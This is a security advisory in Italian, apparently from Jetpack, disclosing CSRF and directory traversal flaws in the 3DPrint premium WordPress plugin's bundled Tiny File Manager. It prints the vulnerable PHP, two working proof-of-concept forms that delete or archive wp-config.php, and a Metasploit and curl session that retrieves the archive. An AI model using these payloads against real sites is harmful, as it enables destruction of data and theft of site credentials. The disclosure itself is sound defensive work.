Vulnerabilità rilevate nel plug-in 3DPrint Premium

Pubblicato: 2022-12-13

La versione premium del plugin WordPress 3DPrint è vulnerabile agli attacchi Cross Site Request Forgery (CSRF) e directory traversal quando la funzionalità di file manager è abilitata. Queste vulnerabilità consentono a un utente malintenzionato di eliminare o ottenere l'accesso a file e directory arbitrari sui siti interessati, inclusi file sensibili come i file di configurazione del sito, che ancora una volta potrebbero portare a un'acquisizione completa del sito.

Di recente, esaminando alcuni potenziali falsi positivi contrassegnati dalle nostre firme sperimentali, abbiamo scoperto del codice che ci ha lasciato perplessi nel plug-in premium 3DPrint.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Questo frammento è stato trovato nel modulo PHP di Tiny File Manager che si trova all'interno della directory include del plugin, ma non si trova nel progetto originale di Tiny File Manager. Sembra essere iniettato con l'intenzione di integrarlo con i controlli di accesso basati sui ruoli di WordPress.

Il caricamento di file di codice WordPress come questo in un modulo non correlato di solito è un segno che qualcosa non funziona, quindi abbiamo deciso di indagare ulteriormente.

Il lettore attento noterà che l'accesso al modulo è limitato agli utenti con ruolo di Amministratore, ma non ci sono controlli nonce. Sarebbe ok se Tiny File Manager avesse la propria protezione CSRF, ma poiché non era così, sembra che questo codice possa essere suscettibile a un attacco CSRF. (Da allora Tiny File Manager ha aggiunto la protezione CSRF dopo che li abbiamo informati del problema. La versione 2.5.0 e successive dovrebbero essere molto più sicure da usare!)

Un fattore complicato è che Tiny File Manager non è incluso nel pacchetto durante l'installazione di 3DPrint premium ma viene scaricato su richiesta quando attivato. La versione scaricata nel momento in cui scriviamo è la 2.4.4, ma è stata pesantemente modificata dagli sviluppatori di 3DPrint, e viene scaricata dal loro dominio, non direttamente dai repository di Tiny File Manager.

La maggior parte delle modifiche apportate rimuove la funzionalità non utilizzata dal plug-in, nonché alcune altre modifiche, come l'hardcoding del percorso, limitando ciò a cui il file manager dovrebbe essere in grado di accedere. Inoltre, le funzionalità di autenticazione e autorizzazione integrate in Tiny File Manager sono state disabilitate e sostituite dall'integrazione di cui sopra con il sistema dei ruoli di WordPress.

Abbiamo scoperto un paio di vulnerabilità in cui la combinazione dei controlli di accesso modificati e l'inclusione del Tiny File Manager nel plug-in 3DPrint diventa sfruttabile da un utente malintenzionato esterno. Ciò include l'eliminazione o il download di file sensibili, consentendo potenzialmente l'acquisizione completa del sito. Queste vulnerabilità sfruttano la mancanza di controlli nonce nei controlli di accesso modificati, insieme alle vulnerabilità di attraversamento delle directory nello stesso Tiny File Manager.

Abbiamo provato a contattare il fornitore sia del plug-in 3DPrint che del progetto Tiny File Manager. Di questi, solo gli sviluppatori del progetto Tiny File Manager ci hanno risposto e risolto i problemi che abbiamo loro sottoposto.

Dai un'occhiata al nostro nuovo WAF come parte di Jetpack Scan, che proteggerà immediatamente da questi attacchi. Attualmente è in versione beta. Jetpack Scan rileverà anche il componente vulnerabile e aiuterà a rimuoverlo.

Poiché il modulo Tiny File Manager viene scaricato e installato su richiesta, non c'è necessariamente una corrispondenza tra la versione del plugin e la versione di Tiny File Manager in uso. Tuttavia, una volta installato, non sembra esserci un modo semplice per aggiornare il modulo Tiny File Manager a parte eliminarlo manualmente e riattivarlo.

Per questo motivo, consideriamo tutte le versioni di 3DPrint vulnerabili alle seguenti vulnerabilità se il file manager è stato attivato.

Le vulnerabilità

1. CSRF che porta alla cancellazione arbitraria di file/directory

  • Plug-in: Stampa 3D
  • Slug plug-in: 3dprint
  • URI del plug-in: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versioni vulnerabili: tutte
  • Versione fissa: nessuna
  • Punteggio CVSS: 8.2 (Alto, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
  • CVE: CVE-2022-3899

La funzionalità di eliminazione di massa nella versione inclusa di Tiny File Manager (versione 2.4.4) non è adeguatamente protetta contro l'attraversamento di directory e manca anche di protezioni CSRF. Ciò consente a un utente malintenzionato di indurre un amministratore a eliminare in modo ricorsivo più file o persino directory sul server.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Questo può essere sfruttato passando i parametri group e delete POST a qualsiasi valore e passando un array di file/directory da eliminare nel parametro file . La variabile $new_path è una semplice concatenazione di FM_ROOT_PATH e il nome del file passato, passato alla funzione di cancellazione ricorsiva fm_rdelete() . Poiché fm_rdelete() non esegue alcuna convalida dei nomi di percorso forniti, questo rende questo codice vulnerabile a un attacco di directory traversal.

Ecco un esempio di prova del concetto:

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Tutti i percorsi sono relativi alla directory wp-content/uploads/p3d/ sul server. Quando un amministratore che ha effettuato l'accesso fa clic sul pulsante per diventare ricco, i suoi caricamenti dal 2020 verranno eliminati insieme al file wp-config.php dei siti.

2. CSRF che porta a download arbitrari

  • Plug-in: Stampa 3D
  • Slug plug-in: 3dprint
  • URI del plug-in: http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versioni vulnerabili: tutte
  • Versione fissa: nessuna
  • Punteggio CVSS: 7.4 (Alto, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
  • CVE: CVE-2022-4023

La funzionalità nella versione inclusa di Tiny File Manager (versione 2.4.4) per scaricare un archivio zip o tar di file selezionati non è protetta contro l'attraversamento di directory e manca di protezioni CSRF. Ciò consente a un utente malintenzionato di indurre un amministratore a creare un archivio zip o tar con file e directory arbitrari dal sito, inclusi file di configurazione o altri contenuti sensibili.

L'archivio viene inserito nella normale directory di caricamento di 3DPring, wp-content/uploads/p3d/ . Il nome del file è solo parzialmente controllabile dall'attaccante, ma è abbastanza prevedibile da essere relativamente facile da utilizzare con la forza bruta. Se sanno a che ora è stata inviata la richiesta contraffatta, dovrebbe anche essere banale fare un'ipotesi plausibile.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

Inviando una richiesta post con il group e le variabili zip o tar impostate su qualsiasi valore, verrà creato un archivio con i file specificati nel parametro file . La data e l'ora correnti verranno aggiunte al nome del file per l'archivio, che avrà lo stesso nome di base del file archiviato, o "archivio" se più file sono archiviati insieme. L'archivio verrà creato nella directory di caricamento di 3DPrint, ma i nomi dei percorsi dei file non vengono disinfettati e possono contenere percorsi al di fuori di questa directory, rendendolo vulnerabile agli attacchi di directory traversal.

Per sfruttare questa vulnerabilità, abbiamo creato un semplice modulo di payload per Metasploit che funge da modulo di invio automatico con il payload dannoso al sito vulnerabile. Il payload della prova concettuale inviato è stato:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Poiché il modulo Metasploit registrava il timestamp di quando il modulo è stato inviato, è stato facile indovinare il nome file corretto per l'archivio creato.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Si noti come possiamo dedurre il nome del file dell'archivio generato dal timestamp della richiesta. In questo caso, il contenitore del server esegue un fuso orario indietro rispetto al fuso orario locale.

Raccomandazioni

Poiché la versione del file manager installata è indipendente dalla versione del plugin installato, non possiamo consigliare una versione fissa del plugin.

Né abbiamo trovato un modo semplice per aggiornare il modulo file manager se una nuova versione viene rilasciata in un secondo momento.

Per questo motivo, consideriamo vulnerabili tutte le versioni del plug-in premium 3DPrint se il componente file manager è abilitato.

La nostra raccomandazione è di assicurarsi che il modulo di gestione file sia disabilitato e che il file venga rimosso dal sito.

Il modo più semplice è eliminare il file wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php se esiste.

Conclusioni

Tutte le versioni del plug-in premium 3DPrint sono vulnerabili agli attacchi CSRF e directory traversal se il modulo file manager è abilitato sul sito. Ciò non influisce sulla versione gratuita del plug-in scaricata dal repository dei plug-in di WordPress.org.

Noi di Jetpack lavoriamo sodo per assicurarci che i tuoi siti web siano protetti da questo tipo di vulnerabilità. Ti consigliamo di disporre di un piano di sicurezza per il tuo sito che includa la scansione e i backup di file dannosi. Il pacchetto Jetpack Security è un'ottima opzione di sicurezza di WordPress per garantire che il tuo sito e i tuoi visitatori siano al sicuro. Questo prodotto include la scansione di malware in tempo reale, backup del sito, protezione da spam di commenti e moduli da Akismet, protezione da attacchi di forza bruta e altro ancora.

Crediti

Ricerca di Harald Eilertsen, con feedback e correzioni fornite da Benedict Singer, Rob Pugh, Jen Swisher e il team di Jetpack Scan.

Sequenza temporale

  • 08-09-2022: Siamo stati informati della scoperta e abbiamo iniziato a indagare
  • 2022-10-25: Contattato il venditore per la prima volta
  • 01-11-2022: il fornitore è stato contattato per la seconda volta tramite un canale diverso
  • 08-11-2022: divulgazione della vulnerabilità dell'eliminazione di massa (CVE-2022-3899)
  • 15-11-2022: contattato gli sviluppatori di Tiny File Manager in merito alla mancanza di protezione CSRF e alle vulnerabilità di attraversamento delle directory.
  • 2022-11-19: Rilascio di Tiny File Manager 2.5.0, che risolve i problemi CSRF ma non i problemi di attraversamento delle directory.
  • 13-12-2022: Divulgazione pubblica